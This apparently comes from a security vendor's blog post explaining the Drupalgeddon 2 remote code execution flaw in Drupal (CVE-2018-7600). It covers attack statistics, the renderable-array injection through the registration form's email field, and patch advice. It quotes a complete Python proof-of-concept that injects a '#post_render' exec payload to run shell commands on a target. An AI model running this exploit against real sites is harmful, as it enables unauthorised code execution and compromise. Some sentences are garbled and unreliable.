More than a million active websites use Drupal, making it the second most used content management system worldwide after WordPress. On March 28, 2018, Drupal released security patches for versions 6 to 8 suggesting to update immediately and marking the underlying drupalgeddon vulnerability (CVE-2018-7600) as critical with remote code execution. As expected, attackers exponentially increased scanning and attacks on websites using Drupal, but there have been no reports of attackers exploiting the drupalgeddon vulnerability in the wild. Then a few days ago a Russian security researcher published a POC exploit code on GitHub and Internet went berserk. You can use a patch management software to stop this vulnerability.
Exploitation amassed and attackers started using it to install cryptocurrency miners and malware backdoors. It is believed that one of the Monero miner campaigns which delivered XMRig while exploiting the vulnerability (CVE-2017-10271) in Oracle WebLogic servers is involved. A vulnerability management tool can detect vulnerabilities like these.
Statistics of Drupalgeddon
As per statistics, 90% of Drupalgeddon 2 attacks are nothing but scans to find vulnerable systems, 3% are backdoor infection attempts and 2% are attempting to run crypto miners.
Drupal in its advisory warned “sites not patched by Wednesday, 2018-04-11 may be compromised” and “simply updating Drupal will not remove backdoors or fix compromised sites. If you find that your site is already patched, but you didn’t do it, that can be a symptom that the site was compromised. Some attacks in the past have applied the patch as a way to guarantee that only that attacker is in control of the site.”
Technical Jargon in drupalgeddon
Drupal introduced its Form API in Drupal 6 which allowed alteration of the form data during the form rendering process. This revolutionized the way markup processing worked. In Drupal 7 the Form API was generalized to what is now known as “Renderable Arrays”. This extended API represents the structure of most of the UI elements in Drupal, such as pages, blocks, nodes and more. In the rendering process, renderable arrays use metadata. These renderable arrays are a key-value structure in which the property keys start with a hash sign (#). An example:
[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em> text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]
Drupal released a patch adding just a single class RequestSanitizer with a stripDangerousValues method that unsets all the items in an input array for keys that start with a hash sign. This method sanitizes input data in $_GET, $_POST & $_COOKIES during the very early stages of Drupal’s bootstrap (immediately after loading the site configurations). We can assume that the reason for releasing the patch is to make an existing vulnerability harder to find.
Drupalgeddon vulnerability in registration form:
Security researchers found the drupalgeddon vulnerability in the forms, specifically in the user registration form. Users can access this form anonymously, and it does not require verification. It contains multiple input fields and is vulnerable to exploitation.
Image Source : Checkpoint, Dofinity
It was highly that injecting a renderable array would exploit the vulnerability, the question was where?
As it turns out, the “Email Address” field doesn’t sanitize the type of input it receives which allowed us to inject the renderable array to the form array structure.
Image Source : Checkpoint, Dofinity
Now, all we needed was for Drupal to render our array. Since Drupal treats our injected array as a value and not as an element. However, we needed to trick Drupal into rendering it. Drupal renders an array on page load event or via Drupal AJAX API.
The “Picture” field of the user registration form uses Drupal’s AJAX API to upload a picture. Finally, replace it with a thumbnail of the uploaded image.
Proof-of-concept (POC) of drupalgeddon
#!/usr/bin/env python3 import sys import requests print ('################################################################') print ('# Proof-Of-Concept for CVE-2018-7600') print ('# by Vitalii Rudnykh') print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders') print ('# https://github.com/a2u/CVE-2018-7600') print ('################################################################') print ('Provided only for educational or information purposes\n') target = input('Enter target url (example: https://domain.ltd/): ') # Add proxy support (eg. BURP to analyze HTTP(s) traffic) # set verify = False if your proxy certificate is self signed # remember to set proxies both for http and https # # example: # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} # verify = False proxies = {} verify = True url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} r = requests.post(url, proxies=proxies, data=payload, verify=verify) check = requests.get(target + 'hello.txt', verify=verify) if check.status_code != 200: sys.exit("Not exploitable") print ('\nCheck: '+target+'hello.txt')
Source : goncalor (github)
Impact
Moreover, by exploiting this vulnerability. Finally, an attacker would have been able to carry out a full site of any customer.
Fix
However, We highly recommend fixing the issue by upgrading your CMS to Drupal 7.58 or Drupal 8.5.1. As soon as possible to avoid attacks.